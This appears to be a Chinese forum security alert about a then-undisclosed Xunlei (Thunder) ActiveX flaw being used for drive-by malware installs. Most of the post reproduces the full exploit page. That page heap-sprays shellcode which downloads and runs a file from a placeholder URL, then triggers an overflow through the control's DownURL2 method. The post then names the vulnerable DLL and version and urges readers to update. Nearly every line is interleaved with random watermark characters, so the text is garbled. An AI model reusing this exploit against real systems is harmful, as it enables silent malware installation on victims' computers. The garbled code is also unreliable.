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根据恶意网址检测的线报,发现一恶意网址使用未公开的迅雷50-Day漏洞进行挂马,其EXP代码如下: % b: X7 ?$ X0 m& Z" A& B
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<html>8 b; \; C; B3 y* G, n$ ]
<head>8 Q) N9 z+ ?4 U! w3 X( k
<meta http-equiv="Content-Type" c >
9 A, i: M$ u' c9 J# X+ F6 V- c<title></title>7 b ^9 h: D. ~( o3 N' G! ^- J
</head><body>( ?. W4 @ v0 E4 |( H! o/ ^
<html>( r7 n& [2 {3 X' Q7 B X
<object classid="clsid:EEDD6FF9-13DE-496B-9A1C-D78B3215E266" id='target'></object>1 s- [% o" M" B7 w Q1 P9 o
<script language="javascript">
; G: e# V8 V) z3 P# \, Ivar she132132132132llc13ode = unescape("%u9090"+"%u9090"+
; X9 X8 c- X. C$ u4 {% I1 K4 o"%uefe9%u0000%u5a00%ua164%u0030%u0000%u408b%u8b0c" +
; V& S p x+ r! P"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +9 w d- ]2 a! `# h9 D! f: g
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +8 H7 A- V4 D% v# L5 A
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +# o) e; N0 M, L8 T/ u
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
6 T* E* A9 M. k! D! C, Z8 T"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
, F" u' T. K9 L2 Y9 W"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +4 H- x2 |# F5 h Z2 E, H; q
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + " ~- y* t) w @
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +" U" M4 N$ r; |2 o% B8 G
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
2 n3 o3 [" l: U"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
# U! f, N& N' [( y"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
" t9 u7 f% O2 W% b# V" \- t( C1 q4 l"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
9 ~9 d, v6 T% m& A$ w, v4 c+ B"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +2 n0 r0 s& ?- R/ K l
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
) N1 i H6 D' K. Y1 l- F"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
& i* m0 L; ^# ~% p"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +3 h" h+ i3 O% k1 Q
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
" V7 ^/ \1 t ~$ R2 N- C"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
: u; a, Q. j7 K ^# x"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +; u, S* g) z( j. w! M9 C9 J! d
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +$ N3 i) i+ g0 i; ^+ G% C8 F
"%u6946%u656c%u0041%u7468%u7074此处为需要下载病毒的网址%u0000");4 m5 C& x8 L) ^5 _ o' H, I0 {
</script>
+ j- ]' j: R# @<script language="javascript">
0 M1 Q! M7 c8 _! T6 z; f8 j% pvar IsNop1236326312 = '';/ L/ y9 M$ R; n. f4 K+ I c7 L
var bi3123g123665blo2131ck = unescape("%u9090%u9090");9 y; Z5 Q5 P" @- D! s4 F
var IsNop1236326312 = '';
( K7 I8 |2 O; ^; Tvar he132132aders123132ize = 20;% }* R3 T& P/ b) n% p1 k
var IsNop1236326312 = '';
8 M) g6 ^, J; x9 a+ _var sl21123112ack312231312space = he132132aders123132ize+she132132132132llc13ode.length;
) a0 ?/ g1 S/ Vvar IsNop1236326312 = '';
& Y3 H# \3 \, `1 H3 e5 n- e/ `while (bi3123g123665blo2131ck.length<sl21123112ack312231312space) bi3123g123665blo2131ck+=bi3123g123665blo2131ck;7 _1 Q4 E9 v" Q' m( s; a
fillblock = bi3123g123665blo2131ck.substring(0, sl21123112ack312231312space);1 q; P; f4 w" ~6 v3 b' P
block = bi3123g123665blo2131ck.substring(0, bi3123g123665blo2131ck.length-sl21123112ack312231312space);
5 p5 q* |" x6 ]# Qwhile(block.length+sl21123112ack312231312space<0x40000) block = block+block+fillblock;
( F7 W7 W4 F; f; nmemory = new Array();
8 t' J3 V: B1 U) i' Y$ B: Ofor (x=0; x<300; x++) memory[x] = block + she132132132132llc13ode;' E) L: ~6 N7 E1 i' P7 t
var b1u1231ff312er = '';8 {1 _ i- q8 b/ N
var IsNop1236326312 = '';/ F8 f5 _; c% }( l1 p2 o
var IsNop1236326312 = '';
1 G4 m+ d# P6 e o: z2 p" ~( A" Owhile (b1u1231ff312er.length < 4057) b1u1231ff312er+="\x0a\x0a\x0a\x0a";
- r% ?- ]! i# C( ]5 tb1u1231ff312er+="\x0a"; 2 t8 P- {: n3 x( ^( n6 I
b1u1231ff312er+="\x0a";' ?- _1 I& b) _ a9 o1 j
b1u1231ff312er+="\x0a";, @0 o& K- g( u0 N @& \) o) R
b1u1231ff312er+="\x0a\x0a\x0a\x0a";
5 g) \' x0 E6 X' ]b1u1231ff312er+="\x0a\x0a\x0a\x0a"; 5 {0 h5 b8 m& {
var yes="1111";- T: w: `& S4 p4 T$ i* z
target.DownURL2(b1u1231ff312er,yes,yes,yes);
2 u; y/ D: S6 N% c5 o+ h, G7 Vvar IsNop1236326312 = '';& Q9 {0 C) s9 C3 [+ C
</script>( i( S, U& _* t
</body></html>该代码风格颇相前段时间的《暴风影音IIActiveX栈溢出漏洞》,尾部为%u7468%u7074+此处为需要下载病毒的网址+%u0000"),但其CLSID为:EEDD6FF9-13DE-496B-9A1C-D78B3215E266 * z o0 Q n/ C+ N; D
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1 x' r2 b2 |3 N8 e9 s经验证,该ActiveX控件文件为:C:\Program Files\Thunder Network\Thunder\Components\DownAndPlay\DownAndPlay\DapPlayer1.0.0.41.dll ! D5 m+ _2 c7 f
+ Y! S8 H/ m( Q: T' H- a我已经将该信息提交给迅雷官方,相信迅雷官方会尽快更新软件, 字串5
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5 e% M4 K; M2 s! w在此,网络巡警提醒大家,使用迅雷软件请尽量使用最新版本的,最新版本下载地址为: , L- @) F0 J. \( |1 r
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http://pstatic.xunlei.com/about/product/down_xl5.htm . `0 o8 O) a- R1 F- r, Z
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我会进一步关注此漏洞。 - s& X$ y3 A! d! j' [
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最近情况: ( T9 U S* k& `) a, L0 E; ?5 s \
: R4 X! H8 V# c+ S: `% Z从一些信息来看,含有此漏洞的迅雷版本号为Xunlei Web Thunder 5.6.9.344 ' O4 |/ B/ m. h5 P6 C2 ^
新版的迅雷5.7.2.371 应该无此漏洞,请大家更新~
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另外,该漏洞是一个叫做 7jdg 的人挖掘发现的(高手啊)。 |
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